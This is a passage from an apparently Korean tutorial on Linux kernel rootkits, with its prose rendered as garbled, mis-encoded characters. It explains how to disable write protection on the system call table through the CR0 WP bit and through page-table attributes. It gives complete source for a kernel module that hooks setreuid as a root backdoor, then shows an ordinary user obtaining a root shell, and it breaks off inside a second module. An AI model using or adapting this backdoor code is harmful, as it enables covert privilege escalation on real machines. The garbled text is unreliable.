ÀÖ½À´Ï´Ù. ¸¶Áö¸·À¸·Î AND ¿¬»êÀÇ °á°ú°ªÀÌ ÀúÀåµÈ eax ·¹Áö½ºÅÍÀÇ µ¥ÀÌÅ͸¦ cr0 ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÑ µÚ pop ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ÀÛ¾÷ ÀÌÀü¿¡ ÀúÀåÇÑ ½ºÅûóÀÇ eax, ebx ·¹Áö½ºÅÍ °ª À» ¿ø·¡´ë·Î µÇµ¹·ÁÁÝ´Ï´Ù. ´ÙÀ½Àº ÀζóÀÎ ¾î¼Àºí¸®¸¦ ÀÌ¿ëÇÏ¿© CR0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ 1(on)À¸·Î ¼³Á¤ÇÏ´Â ÄÚµåÀÔ´Ï´Ù. ---------------------------------------- __asm__ __volatile__ ( "pushl %eax\n\t" "movl %cr0, %eax\n\t" "orl $0x10000, %eax\n\t" "movl %eax, %cr0\n\t" "popl %eax" ); ---------------------------------------- eax ·¹Áö½ºÅÍÀÇ »ç¿ëÀ» À§ÇÏ¿© ±âÁ¸ÀÇ µ¥ÀÌÅ͸¦ ½ºÅÿ¡ Àá½Ã ÀúÀåÇصРµÚ cr0 ·¹Áö½ºÅÍÀÇ µ¥ÀÌÅ͸¦ eax ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÑ ´ÙÀ½ WP ºñÆ®¸¦ ¶æÇÏ´Â °ªÀÎ 0x10000°ú eax(cr0) ·¹Áö½ºÅÍÀÇ µ¥ÀÌÅ͸¦ OR ¿¬»êÇÑ °á°ú¸¦ cr0 ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ´Â °úÁ¤À» ÅëÇÏ¿© WP ºñÆ®¸¦ 1(on)·Î ¼³Á¤ÇÕ´Ï´Ù. Áö±Ý±îÁö ¼³¸íÇß´ø CR0 ·¹Áö½ºÅ͸¦ ÀÐ°í ¾²´Â ÀÛ¾÷ÀÇ ÆíÀǼºÀ» À§ÇÏ¿© read_cr0()°ú write_cr0()À̶ó´Â µÎ °³ÀÇ ¸ÅÅ©·Î°¡ Á¤ÀǵǾî ÀÖÀ¸¸ç ±×¿¡ ´ëÇÑ ¿øÇüÀº ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------- linux/include/asm-i386/system.h --------------------------------------------- #define read_cr0() (native_read_cr0()) #define write_cr0(x) (native_write_cr0(x)) --------------------------------------------- read_cr0(), write_cr0()À» ÀǹÌÇÏ´Â native_read_cr0()¿Í native_write_cr0()ÀÇ Á¤ÀÇ´Â ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------- linux/include/asm-i386/system.h ------------------------------------------------------ static inline unsigned long native_read_cr0(void) { unsigned long val; asm volatile("movl %%cr0,%0\n\t" :"=r" (val)); return val; } static inline void native_write_cr0(unsigned long val) { asm volatile("movl %0,%%cr0": :"r" (val)); } ------------------------------------------------------ native_read_cr0() ¸ÅÅ©·Î´Â cr0 ·¹Áö½ºÅÍÀÇ °ªÀ» ¸®ÅÏ, native_write_cr0() ¸ÅÅ©·Î´Â ÀÎÀÚ·Î ÁÖ¾îÁø °ªÀ» cr0 ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ´Â ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. ´ÙÀ½Àº read_cr0()°ú write_cr0() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¿© cr0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ ON/OFF ÇÏ´Â ÄÚµåÀÔ´Ï´Ù. ---------------------------------------- CR0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ ²ô´Â(OFF) ÄÚµå -> write_cr0( read_cr0() & (~0x10000) ); CR0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ ÄÑ´Â(ON) ÄÚµå -> write_cr0( read_cr0() | 0x10000 ); ---------------------------------------- ù ¹ø° ÄÚµå´Â read_cr0() ¸ÅÅ©·Î¸¦ ÅëÇÏ¿© CR0 ·¹Áö½ºÅÍÀÇ °ªÀ» °¡Á®¿Â µÚ WP ºñÆ®¸¦ ÀǹÌÇÏ´Â 0x10000ÀÇ NOT ¿¬»ê °ª°ú ¼­·Î AND ¿¬»êÀ» ÇÑ °ªÀ» write_cr0() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇؼ­ CR0 ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ¿© WP ºñÆ®¸¦ ²ô´Â(OFF) ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. µÎ ¹ø° ÄÚµå´Â read_cr0() ¸ÅÅ©·Î¸¦ ÅëÇÏ¿© CR0 ·¹Áö½ºÅÍÀÇ °ªÀ» °¡Á®¿Â µÚ WP ºñÆ®¸¦ ÀǹÌÇÏ´Â 0x10000¿Í ¼­·Î OR ¿¬»êÀ» ÇÑ °ªÀ» write_cr0() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇؼ­ CR0 ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ¿© WP ºñÆ®¸¦ ÄÑ´Â(ON) ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. ÀÌ·¸°Ô ¸ÅÅ©·Î¸¦ »ç¿ëÇϰųª Á÷Á¢ ÀζóÀÎ ¾î¼Àºí¸®¸¦ ÀÌ¿ëÇؼ­ CR0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ ²ô°í ÄÑ´Â ÀÛ¾÷À¸·Î °£´ÜÈ÷ ÆäÀÌÁöÀÇ ¾²±â ¼Ó¼ºÀ» ¹«ÀǹÌÇÏ°Ô ¸¸µé ¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½Àº À̹ø Àå¿¡¼­ ¼Ò°³ÇÑ ³»¿ëÀ» ½ÇÁ¦·Î ±¸ÇöÇÑ ·çƾÀ» ÀÌÀü¿¡ Å×½ºÆ® Çß´ø hkm_idt.c ¼Ò½º Äڵ忡 Ãß°¡ÇÑ °ÍÀÔ´Ï´Ù. °£´ÜÇÑ ¼³¸íÀº ÁÖ¼®À¸·Î ´ëüÇÏ¿´½À´Ï´Ù. =- hkm_idt-wp.c -= #include #include #include #include #include #include #include #include #include #include void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)get_sys_call_table(); write_cr0( read_cr0() & (~0x10000) ); // cr0 ·¹Áö½ºÅÍÀÇ wp ºñÆ®¸¦ ²ô´Â ÄÚµå orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; write_cr0( read_cr0() | 0x10000 ); // cr0 ·¹Áö½ºÅÍÀÇ wp ºñÆ®¸¦ ÄÑ´Â ÄÚµå printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { write_cr0( read_cr0() & (~0x10000) ); // cr0 ·¹Áö½ºÅÍÀÇ wp ºñÆ®¸¦ ²ô´Â ÄÚµå sys_call_table[__NR_setreuid32] = orig_setreuid; write_cr0( read_cr0() | 0x10000 ); // cr0 ·¹Áö½ºÅÍÀÇ wp ºñÆ®¸¦ ÄÑ´Â ÄÚµå printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ----------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/kernel/hkm_idt-wp.o Building modules, stage 2. MODPOST 1 modules CC /root/kernel/hkm_idt-wp.mod.o LD [M] /root/kernel/hkm_idt-wp.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost kernel]# insmod hkm_idt-wp.ko ----------------------------------------------------------------------- ¸¶Áö¸·À¸·Î hkpco °èÁ¤¿¡¼­ ·çƮŶÀÌ Á¤»ó ÀÛµ¿ÇÏ´ÂÁö Å×½ºÆ® Çغ¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.2# id uid=0(root) gid=0(root) groups=500(hkpco) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023 ------------------------------------------------------------------------------------------------------- Å×½ºÆ®·Î ¸¸µç ·çƮŶÀÇ ±â´ÉÀ» ÅëÇÏ¿© ±ÇÇÑÀ» ȹµæÇÑ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. cr0 ·¹Áö½ºÅÍÀÇ wp ºñÆ®¸¦ ÀÌ¿ëÇؼ­ sys_call_tableÀ» ºñ·ÔÇÑ ¸ðµç ÆäÀÌÁöÀÇ ¾²±â Á¦¾î¸¦ ¹«ÀǹÌÇÏ°Ô ¸¸µé¾úÀ¸¸ç ÀÌ´Â ´Ù¸¥ ¹æ¹ý¿¡ ºñÇÏ¿© Äڵ尡 °£°áÇØÁø´Ù´Â ÀåÁ¡ÀÌ ÀÖ½À´Ï´Ù. 0x9. Goodbye Write Protection - Page Attribute Àбâ Àü¿ëÀÎ sys_call_tableÀÇ ÆäÀÌÁö¸¦ Á÷Á¢ ã¾Æ¼­ ÇØ´ç ¼Ó¼ºÀ» º¯°æÇØ ÁÖ´Â ¹æ¹ýÀ¸·Î ¼Ó¼ºÀ» º¯°æÇÏ´Â ´ë»óÀÌ sys_call_table¿¡ ±¹ÇѵǾî Àֱ⠶§¹®¿¡ °¡Àå ¾ÈÁ¤ÀûÀÎ ¹æ¹ýÀÔ´Ï´Ù. À̸¦ À§Çؼ­´Â ¿ì¼± ¸®´ª½ºÀÇ ÆäÀÌ¡ °úÁ¤À» ÀÌÇØÇØ¾ß Çϴµ¥ ±×¿¡ °üÇÑ ³× °¡Áö À¯ÇüÀº ´ÙÀ½°ú °°½À´Ï´Ù. --------------------------------------------- + ÆäÀÌÁö Àü¿ª µð·ºÅ丮(Page Global Directory) + ÆäÀÌÁö »óÀ§ µð·ºÅ丮(Page Upper Directory) + ÆäÀÌÁö Áß°£ µð·ºÅ丮(Page Middle Directory) + ÆäÀÌÁö Å×À̺í(Page Table) --------------------------------------------- ÆäÀÌÁö Àü¿ª µð·ºÅ丮´Â ¿©·¯ ÆäÀÌÁö »óÀ§ µð·ºÅ丮ÀÇ ÁÖ¼Ò¸¦ Æ÷ÇÔÇÏ°í ÆäÀÌÁö »óÀ§ µð·ºÅ丮´Â ¿©·¯ ÆäÀÌÁö Áß°£ µð·ºÅ丮ÀÇ ÁÖ¼Ò¸¦ Æ÷ÇÔÇϸç, ÆäÀÌÁö Áß°£ µð·ºÅ丮´Â ¿©·¯ ÆäÀÌÁö Å×À̺íÀÇ ÁÖ¼Ò¸¦ Æ÷ÇÔÇÕ´Ï´Ù. °¢ ÆäÀÌÁö Å×ÀÌºí ¿£Æ®¸®´Â ½ÇÁ¦ ¹°¸® ÁÖ¼Ò¸¦ ÀǹÌÇÏ´Â ÆäÀÌÁö ÇÁ·¹ÀÓÀ» °¡¸®Å°±â µË´Ï´Ù. °¡»ó ÁÖ¼Ò¿¡¼­ ¹°¸® ÁּҷΠã¾Æ°¡´Â °úÁ¤À» °£´ÜÈ÷ ³ªÅ¸³»¸é ´ÙÀ½°ú °°½À´Ï´Ù. -------------------------------------------------------------------------------------------------- Page Global Directory -> Page Upper Directory -> Page Middle Directory -> Page Table -> Page Frame -------------------------------------------------------------------------------------------------- 32ºñÆ® ½Ã½ºÅÛ¿¡¼­´Â Àü¿ª µð·ºÅ丮¿Í ÆäÀÌÁö Å×À̺í·Î ±¸¼ºµÈ 2´Ü°è ÆäÀÌ¡ ¶Ç´Â, Àü¿ª µð·ºÅ丮, Áß°£ µð·ºÅ丮, ÆäÀÌÁö Å×À̺í·Î ±¸¼ºµÈ 3´Ü°è ÆäÀÌ¡À¸·Îµµ ÃæºÐÇϱ⠶§¹®¿¡ À§ °úÁ¤À» ¸ðµÎ ¼öÇàÇÏÁö ¾ÊÀ¸¸ç 64ºñÆ® ½Ã½ºÅÛ¿¡¼­´Â 3´Ü°è ÆäÀÌ¡À̳ª À§ °úÁ¤ ¸ðµÎ¸¦ Æ÷ÇÔÇÏ´Â 4´Ü°è ÆäÀÌ¡À» ¼öÇàÇÕ´Ï´Ù. °¡»ó ÁÖ¼Ò¿¡¼­ ÆäÀÌÁö Å×À̺í ÁÖ¼Ò¸¦ ¾Ë¾Æ³»´Â ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. -------------------------------------------- pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); pud = pud_offset( pgd, linear_addr ); pmd = pmd_offset( pud, linear_addr ); pte = pte_offset_kernel( pmd, linear_addr ); -------------------------------------------- Äڵ带 °£°áÇÏ°Ô ³ªÅ¸³»±â À§ÇÏ¿© ¿¡·¯ üũ´Â µû·Î ÇÏÁö ¾Ê¾Ò½À´Ï´Ù. ÀÌÁ¦ À§ Äڵ忡¼­ »ç¿ëµÈ ¸ÅÅ©·ÎµéÀ» ¾Ë¾Æº¸°Ú½À´Ï´Ù. -------------------------------- linux/include/asm-i386/pgtable.h -------------------------------------------------------------- #define pgd_offset_k(address) pgd_offset(&init_mm, address) #define pgd_offset(mm, address) ((mm)->pgd+pgd_index(address)) -------------------------------------------------------------- °¡»ó ÁÖ¼ÒÀÇ ÆäÀÌÁö Àü¿ª µð·ºÅ丮¸¦ ±¸ÇØÁÖ´Â ¸ÅÅ©·ÎÀÔ´Ï´Ù. page_offset_k(address)ÀÇ ¿ªÇÒÀº pgd_offset(&init_mm, address)¿Í °°½À´Ï´Ù. Áï, init_mm->pgdÀÇ ÁÖ¼Ò °ª¿¡ pgd_index ¸ÅÅ©·Î¸¦ ÅëÇؼ­ ±¸ÇÑ addressÀÇ »ó´ëÁÖ¼Ò(offset)À» ´õÇؼ­ Àü¿ª µð·ºÅ丮ÀÇ ÁÖ¼Ò °ªÀ» ±¸ÇÏ´Â °ÍÀÔ´Ï´Ù. init_mm->pgd´Â Ä¿³Î ÆäÀÌÁö µð·ºÅ丮ÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ ´ã°í ÀÖ½À´Ï´Ù. ---------------------------- include/asm-x86_64/pgtable.h ---------------------------------------------------------------------------------------- #define pud_offset(pgd, address) ((pud_t *) pgd_page_vaddr(*(pgd)) + pud_index(address)) ---------------------------------------------------------------------------------------- ÆäÀÌÁö Àü¿ª µð·ºÅ丮¸¦ ÅëÇØ ÆäÀÌÁö »óÀ§ µð·ºÅ丮¸¦ ±¸ÇÏ´Â ¸ÅÅ©·ÎÀ̸ç 4´Ü°è ÆäÀÌ¡ÀÌ ¾Æ´Ñ ½Ã½ºÅÛ¿¡¼­ ÇØ´ç ¸ÅÅ©·Î¸¦ »ç¿ëÇϸé ÀÎÀÚ·Î ÀÔ·ÂµÈ °ªÀº º¯ÇÏÁö ¾Ê½À´Ï´Ù. --------------------------------------- linux/include/asm-i386/pgtable-3level.h ---------------------------------------------------------------------------------- #define pmd_offset(pud, address) ((pmd_t *) pud_page(*(pud)) + pmd_index(address)) ---------------------------------------------------------------------------------- ÆäÀÌÁö »óÀ§ µð·ºÅ丮¸¦ ÅëÇØ ÆäÀÌÁö Áß°£ µð·ºÅ丮¸¦ ±¸ÇÏ´Â ¸ÅÅ©·ÎÀ̸ç 3´Ü°è ¶Ç´Â 4´Ü°è ÆäÀÌ¡ÀÌ ¾Æ´Ñ ½Ã½ºÅÛ¿¡¼­ ÇØ´ç ¸ÅÅ©·Î¸¦ »ç¿ëÇϸé ÀÎÀÚ·Î ÀÔ·ÂµÈ °ªÀº º¯ÇÏÁö ¾Ê½À´Ï´Ù. -------------------------------- linux/include/asm-i386/pgtable.h ------------------------------------------------------------------------------------------------ #define pte_offset_kernel(dir, address) ((pte_t *) pmd_page_vaddr(*(dir)) + pte_index(address)) ------------------------------------------------------------------------------------------------ ÆäÀÌÁö Áß°£ µð·ºÅ丮¸¦ ÅëÇØ ÆäÀÌÁö Å×ÀÌºí ¿£Æ®¸®¸¦ ±¸ÇÏ´Â ¸ÅÅ©·ÎÀÔ´Ï´Ù. Ãß°¡·Î ¸î °¡Áö ¸ÅÅ©·Î¸¦ ´õ ¾ð±ÞÇϸé Áö±Ý±îÁö ¼Ò°³ÇÑ ÆäÀÌÁö °ü·Ã ¸ÅÅ©·Î ¹Û¿¡µµ pgd_none, pgd_present, pud_none, pud_present, pmd_none, pmd_present, pte_none, pte_present µîÀÌ Á¸ÀçÇϴµ¥ ÀÌ´Â PGD, PUD, PMD, PTE¸¦ ±¸ÇßÀ» ¶§ ÀÏÁ¾ÀÇ ¿¡·¯ üũ¸¦ À§ÇÏ¿© Á¦°øµË´Ï´Ù. *_present() °è¿­ÀÇ ¸ÅÅ©·Î´Â PGD ~ PTE°¡ ¸Þ¸ð¸®¿¡ Á¸ÀçÇÏÁö ¾ÊÀ¸¸é 0À» ³ªÅ¸³»°í, *_none() °è¿­ÀÇ ¸ÅÅ©·Î´Â À¯È¿ÇÏÁö ¾ÊÀº °¡»ó ÁÖ¼Ò¿¡ ´ëÇÑ ÆäÀÌ¡ °úÁ¤À» ½ÃµµÇÒ °æ¿ì °æ¿ì¸¦ üũÇϱâ À§ÇØ »ç¿ëµË´Ï´Ù. ¾Æ¹«Æ° Áö±Ý±îÁö ¼Ò°³ÇÑ ¸ÅÅ©·Î¸¦ »ç¿ëÇÏ¿© ±¸ÇÑ °¡»óÁÖ¼ÒÀÇ ÆäÀÌÁö Å×ÀÌºí ¿£Æ®¸® ¼Ó¼ºÀ» º¯°æÇÏ¿© sys_call_tableÀ» ¾²±â°¡ °¡´É Çϵµ·Ï ¸¸µé ¼ö ÀÖ½À´Ï´Ù. ÆäÀÌÁö Å×ÀÌºí ¿£Æ®¸®ÀÇ °¢ ºñÆ®°¡ ÀǹÌÇÏ´Â ³»¿ëÀ» °£´ÜÈ÷ µµ½ÄÈ­ÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù. 0 1 2 3 4 5 6 7 8 9 11 12 31 --------------------------------------------------------------------------------------------- | P | R/W | U/S | PWT | PCD | A | D | 0 | G | Avail | Page Base Address | --------------------------------------------------------------------------------------------- P Present R/W Read/Write U/S User/Supervisor PWT Page-level Write-Through PCD Page-level Cache Disable A Accessed D Dirty PS Page Size G Global Avail Reserved/Available ´Ù¾çÇÑ ºñÆ®µéÀÌ ÀÖÀ¸¸ç ¿©±â¼­ ¿ì¸®´Â R/W¸¦ »ç¿ëÇÕ´Ï´Ù. ÇØ´ç ºñÆ®°¡ 0À¸·Î ¼³Á¤µÇ¸é ¿øÄ¢ÀûÀ¸·Î Àб⸸ °¡´ÉÇϸç 1·Î ¼³Á¤µÇ¸é Àбâ¿Í ¾²±â ¸ðµÎ °¡´ÉÇÕ´Ï´Ù. R/W ºñÆ®¸¦ 1·Î ¼³Á¤ÇÏ´Â ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. Âü°í·Î ¼Ó¼º º¯°æ ÀÌÈÄ¿¡´Â ÀÌÀü¿¡ Çѹø ¼³¸íÇß´ø global_flush_tlb(); ÇÔ¼ö¸¦ »ç¿ëÇØ¾ß ÇÕ´Ï´Ù. --------------------------- (pte)->pte_low |= _PAGE_RW; --------------------------- R/W ºñÆ®¸¦ 0À¸·Î ¼³Á¤ÇÏ´Â ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. ---------------------------- (pte)->pte_low &= ~_PAGE_RW; ---------------------------- Áö±Ý±îÁö ¾Ë¾Æº» ³»¿ëÀ» ¹ÙÅÁÀ¸·Î °¡»ó ÁÖ¼Ò ÆäÀÌÁö Å×À̺íÀÇ Æ¯Á¤ ºñÆ®¸¦ ²ô°í ÄÑ´Â ÇÔ¼ö¸¦ ¸¸µé¾î º¸¾Ò½À´Ï´Ù. ---------------------------------------------------------------------------------- int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } ---------------------------------------------------------------------------------- ù ¹ø° ÀÎÀÚ´Â °¡»ó ÁÖ¼Ò, µÎ ¹ø° ÀÎÀÚ´Â ¼Ó¼º, ¼¼ ¹ø° ÀÎÀÚ´Â °¡»ó ÁÖ¼Ò¿¡ ´ëÇÑ ¼Ó¼ºÀÇ Ãß°¡/Á¦°Å/¼¼ÆÃÀ» °áÁ¤ÇÕ´Ï´Ù. ¸¶Áö¸· ³× ¹ø° ÀÎÀÚ´Â º¯°æµÇ±â Àü ÆäÀÌÁöÀÇ ¼Ó¼º °ªÀ» ÀúÀåÇÒ Æ÷ÀÎÅÍ°¡ ÇÊ¿äÇÕ´Ï´Ù. ±×·±µ¥ ÇÔ¼öÀÇ ·çƾ¿¡¼­ PGD, PUD, PMD, PTE¸¦ ±¸ÇÏ´Â ¸ÅÅ©·Î¸¦ ¸ðµÎ »ç¿ëÇϸé PUD ¶Ç´Â PMD°¡ Á¸ÀçÇÏÁö ¾Ê´Â 2´Ü°è ÆäÀÌ¡ ȤÀº 3´Ü°è ÆäÀÌ¡ ½Ã½ºÅÛ¿¡¼­ ¹®Á¦°¡ »ý±æ ¼ö ÀÖÁö ¾ÊÀ»±î ÇÏ´Â Àǹ®ÀÌ »ý±æ ¼ö ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÇÑ ÀÌÀ¯´Â °£´ÜÇѵ¥, ÇØ´ç ½Ã½ºÅÛÀÌ 3´Ü°è ÆäÀÌ¡À» Àû¿ëÇÏ°í ÀÖ´Ù¸é PUD¸¦ ±¸ÇÏ´Â ¸ÅÅ©·Î, 2´Ü°è ÆäÀÌ¡À» Àû¿ëÇÏ°í ÀÖ´Ù¸é PUD¿Í PMD¸¦ ±¸ÇÏ´Â ¸ÅÅ©·Î´Â ¾î¶°ÇÑ ÀÛ¾÷ ¼öÇ൵ ÇÏÁö ¾ÊÀ¸¸ç ÀÎÀÚ·Î ÁÖ¾îÁø °ªÀ» ±×´ë·Î µ¹·ÁÁÝ´Ï´Ù. Áï, À§¿Í °°Àº ÄÚµå´Â ¿ÀÈ÷·Á ´Ù¾çÇÑ ÆäÀÌ¡ ´Ü°è¿¡ ´ëÇÑ È£È¯¼ºÀ» º¸Àå ÇØ ÁÖ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. ¸¶Áö¸·À¸·Î ¾ÆÁ÷ À§ ÇÔ¼ö¿¡¼­ ¼³¸íÇÏÁö ¾ÊÀº ·çƾÀ» ¾Ë¾Æº¸°Ú½À´Ï´Ù. ´ÙÀ½ ÄÚµå, Á¤È®È÷ ¸»Çϸé pmd_large() ºÎºÐÀÔ´Ï´Ù. ---------------------------------------------------- if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); ---------------------------------------------------- pmd_large()´Â È®Àå ÆäÀÌ¡À» »ç¿ëÇÏ´ÂÁö¿¡ ´ëÇÑ °Ë»ç¸¦ ¼öÇàÇÕ´Ï´Ù. È®Àå ÆäÀÌ¡À̶õ Å©±â°¡ Å©°í ¿¬¼ÓµÈ °¡»ó ÁÖ¼Ò¸¦ À§ÇÏ¿© Á¦°ø µÇ´Â Å« Å©±â(4MB)ÀÇ ÆäÀÌÁö°¡ ±×´ë·Î ´ëÀÀµÇµµ·Ï º¯È¯ÇÏ´Â °ÍÀ» ¸»ÇÕ´Ï´Ù. Áß¿äÇÑ °ÍÀº ÀÌ·¯ÇÑ °³³äÀûÀÎ Á¤ÀÇ º¸´Ù´Â È®Àå ÆäÀÌ¡ÀÌ »ç¿ëµÉ ¶§´Â ÆäÀÌÁö µð·ºÅ丮°¡ ÆäÀÌÁö ÇÁ·¹ÀÓ(¹°¸® ¸Þ¸ð¸®)À» °¡¸®Å°°í ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù. À§ Äڵ忡¼­ pgd_offset_k() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¿© ÆäÀÌÁö µð·ºÅ丮¸¦ ±¸ÇÑ µÚ¿¡ pud_offset(), pmd_offset() ¸ÅÅ©·Î¸¦ »ç¿ëÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. È®Àå ÆäÀÌ¡¿¡¼­ ÀÌ µÎ ¸ÅÅ©·Î´Â ¾î¶°ÇÑ ÀÛ¾÷µµ ¼öÇàÇÏÁö ¾Ê±â ¶§¹®¿¡ °á°úÀûÀ¸·Î pmd_large() ¸ÅÅ©·ÎÀÇ ÀÎÀÚ°ªÀ¸·Î ÁÖ¾îÁø *pmd´Â ÀÌÀü¿¡ ±¸Çß´ø *pgd °ª°ú µ¿ÀÏÇÕ´Ï´Ù. ÆäÀÌÁö µð·ºÅ丮°¡ °¡¸®Å°´Â ¿µ¿ªÀº È®Àå ÆäÀÌ¡¿¡ ÀÇÇÑ Å« ÆäÀÌÁö(4MB)°¡ µÇ¸ç Áï, ÆäÀÌÁö µð·ºÅ丮´Â ´Ù¸¥ ´Ü°è¸¦ °ÅÄ¡Áö ¾Ê°í °ð¹Ù·Î ¹°¸® ¸Þ¸ð¸®¸¦ °¡¸®Å°°í Àִµ¥ ÀÌ´Â ´Ù½Ã ¸»Çϸé, È®Àå ÆäÀÌ¡¿¡¼­ ÆäÀÌÁö µð·ºÅ丮´Â ÆäÀÌÁö Å×À̺íÀ» ¶æÇÏ´Â °ÍÀÔ´Ï´Ù. ±×·¡¼­ µû·Î ÆäÀÌÁö Å×À̺íÀ» ±¸ÇÏ´Â pte_offset_kernel() ¸ÅÅ©·Î¸¦ »ç¿ëÇÒ ÇÊ¿ä ¾øÀÌ pmd Æ÷ÀÎÅ͸¦ pte ÀÚ·áÇü ÇüÅ·Πij½ºÆÃÇؼ­ »ç¿ëÇÏ¸é µÇ´Â °ÍÀÔ´Ï´Ù. ±âÁ¸ÀÇ Å×½ºÆ®¿¡ ¼Ó¼º º¯°æ ·çƾÀÌ Ãß°¡ µÈ ÄÚµå´Â ´ÙÀ½°ú °°À¸¸ç ºÎºÐÀûÀÎ ¼³¸íÀº ÁÖ¼®À¸·Î ´ëü ÇÏ¿´½À´Ï´Ù. =- hkm_idt-attr.c -= #include #include #include #include #include #include #include #include #include #include #define OFF 0 #define ON 1 #define SET 2 void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset 